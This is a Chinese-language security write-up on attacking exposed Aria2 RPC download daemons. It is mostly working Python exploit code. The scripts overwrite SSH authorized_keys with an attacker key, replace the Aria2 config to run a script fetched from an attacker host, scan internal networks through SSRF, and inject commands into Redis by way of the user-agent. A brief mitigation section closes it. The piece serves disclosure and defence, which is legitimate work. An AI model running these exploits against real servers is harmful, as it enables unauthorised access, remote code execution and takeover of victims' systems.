Hacking Aria2 RPC Daemon
ABSTRACT
在未设置任何安全措施的情况下,Aria2 RPC Server 可以接受任何未知来源的请求指令,并予以下载。即使存在诸如--rpc-secret
、--rpc-user
、--rpc-passwd
之类的安全措施,也可以通过社会工程学手段进行攻击。通过 Aria2 RPC Server,可以进行 SSRF、Arbitrary File Write 等 Web 攻击手法,获取服务器权限。
1. INTERDUCTION
Aria2 是一个命令行下运行、多协议、多来源下载工具(HTTP/HTTPS、FTP、BitTorrent、Metalink),内建 XML-RPC 用户界面。[1] Aria 提供 RPC Server,通过--enable-rpc
参数启动。Aria2 的 RPC Server 可以方便的添加、删除下载项目。
2. ATTACK TECHNIQUES
2.1 Arbitary File Write
通过控制文件下载链接、文件储存路径以及文件名,可以实现任意文件写入。同时通过 Aria2 提供的其他功能,诸如 save-session
等也能轻易地实现向任意文件写入指定功能。
2.1.1 Bypass --auto-file-renaming
and --allow-overwrite
根据 Aria2 RPC Server 的文档 changeGlobalOption 方法支持修改部分全局设置参数。[2]
通过修改 allow-overwrite
参数即可实现绕过自动重命名,且可以直接覆盖指定文件。
即使不修改 allow-overwrite
,也可以通过其他方式,比如指定 session 文件路径来覆盖目标文件。
2.1.2 Overwrite .ssh/authorized_keys By Download File
在类 Unix 系统上,持有储存在某用户目录下的 .ssh/authorized_keys 文件中的公钥所对应的私钥的用户可以通过 ssh 直接远程无密码登陆此系统。[3] 如果攻击者可以通过 Aria2 覆盖 .ssh/authorized_keys 文件的话,那么攻击者可以轻易地取得目标系统的权限。
s = PatchedServerProxy("http://victim:6800/rpc")
pprint(s.aria2.addUri(['http://attacker/pubkey.txt'], {'out': 'authorized_keys', 'dir': '/home/bangumi/.ssh/'}))
通过覆盖 .ssh/authorized_keys,成功登陆到目标服务器。
2.1.3 Overwrite .ssh/authorized_keys By save-session
老版本 Aria2
Aria2 RPC Server 提供 save-session
选项,可以指定在 aria2c 关闭时保存当前下载文件的状态;同时 Aria2 RPC Server 提供 user-agent
选项,可以指定下载文件的 UA。[2]
Aria2 session 格式为:
http://download-server/1.txt
gid=79e8977d817e750e
dir=/home/bangumi/.aria2/
out=1.txt
allow-overwrite=true
user-agent=aria2/1.21.1
Aria2 未处理 \n
换行符,可以精心构造 user-agent 来伪造 session 文件,不过这偏离讨论范围。由于 .ssh/authorized_keys 存在容错性,所以可以设置 session 路径为 .ssh/authorized_keys,注入攻击者的 public key 来进行攻击。
pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true", "user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.shutdown())
攻击完成后 aria2 关闭,session 文件储存在指定目录。
新版本 Aria2
新版本的 Aria2 提供了 aria2.saveSession
方法,可以在避免关闭 aria2 的情况下储存 session。
pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.saveSession())
2.1.3 Overwrite Aria2 Configuire File
Aria2 提供 --on-download-complete
选项,可以指定下载完成时需要运行的程序。[2] 调用程序的参数为:
hook.sh $1 $2 $3
hook.sh GID 文件编号 文件路径
其中 GID 为 Aria2 自动生成的编号,文件编号通常为 1。--on-download-complete
选项传入的 COMMAND 需要为带有可执行权限的命令路径。
为了执行命令,我们需要寻找一个可以执行第三个参数路径所指向的文件的 COMMAND,不过不幸的是,Linux 下并没有找到类似的 COMMAND。由于前两个参数不可控,且未知,但是 GID 在 Aria2 添加任务的时候就已经返回,所以我们用一个比较取巧的方法执行命令。
首先下载恶意的 aria2 配置文件,并覆盖原本的配置文件,等待 aria2 重新加载配置文件。然后下载一个大文件,得到 GID 后立即暂停,接着下载一个小文件,使得小文件保存的文件名为大文件的 GID,最后再开启大文件的下载,即可执行任意命令。
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true"}))
pprint(s.aria2.getGlobalOption())
# pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/tmp', 'out': 'authorized_keys'}))
pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/home/bangumi/.aria2/', 'out': 'aria2.conf'}))
raw_input('waiting for restart ...')
r = str(s.aria2.addUri(['http://attacker/bigfile'], {'out': '1'}))
s.aria2.pause(r)
pprint(s.aria2.addUri(['http://attacker/1.sh'], {'out': r}))
s.aria2.unpause(r)
下载完成后,Aria2 将会执行如下命令:
/bin/bash GID 1 /path/to/file
由于 GID 我们已知,且存在名为 GID 的文件,调用时路径基于当前目录,所以可以成功执行。
2.2 SSRF
Scan Intranet HTTP Service
利用 Aria2 下载文件的特性,且对于下载的地址未限制,所以可以通过 Aria2 对于内网资源进行请求访问。
def gen():
return ['http://172.16.98.%d/' % (i,) for i in range(0, 255)]
def main():
s = ServerProxy("http://victim/rpc")
t = [s.aria2.addUri([i], {'dir': '/tmp'}) for i in gen()]
pprint(s.aria2.changeGlobalOption({'max-concurrent-downloads': '50', 'connect-timeout': '3', 'timeout': '3'}))
pprint(s.aria2.getGlobalOption())
while 1:
for f in t:
pprint(s.aria2.getFiles(f))
利用如上代码可对于内网资源进行扫描。
Attack Redis Server
Aria2 的 user-agent
未过滤 \n
,可以通过换行来攻击内网 Redis Server。[4]
payload = '''
CCONFIG SET DIR /root/.ssh
CCONFIG SET DBFILENAME authorized_keys
SSET 1 "\\n\\n\\nssh-rsa .... root@localhost\\n\\n"
SSAVE
QQUIT
'''
s = ServerProxy("http://victom/rpc")
s.aria2.changeGlobalOption({'user-agent': payload})
pprint(s.aria2.addUri(['http://127.0.0.1:6379/'], {'dir': '/tmp'}))
攻击成功后,/root/.ssh/authorized_keys
被覆盖,可通过 ssh 无密码登陆。
3. MITIGATION TECHNIQUES
3.1 CLI OPTIONS
--rpc-listen-all
:最好关闭此项功能--allow-overwrite
:应当关闭此项功能--auto-file-renaming
:应当开启此项功能--rpc-secret
:应当开启此项功能
3.2 PERMISSIONS
- 通过 nobody 用户运行 aria2c
REFERENCES
- Aria2 - Ubuntu中文. http://wiki.ubuntu.org.cn/Aria2
- aria2c(1) - aria2 1.29.0 documentation. https://aria2.github.io/manual/en/html/aria2c.html
- Secure Shell - Wikipedia. https://en.wikipedia.org/wiki/Secure_Shell
- 利用 gopher 协议拓展攻击面. https://ricterz.me/posts/利用%20gopher%20协议拓展攻击面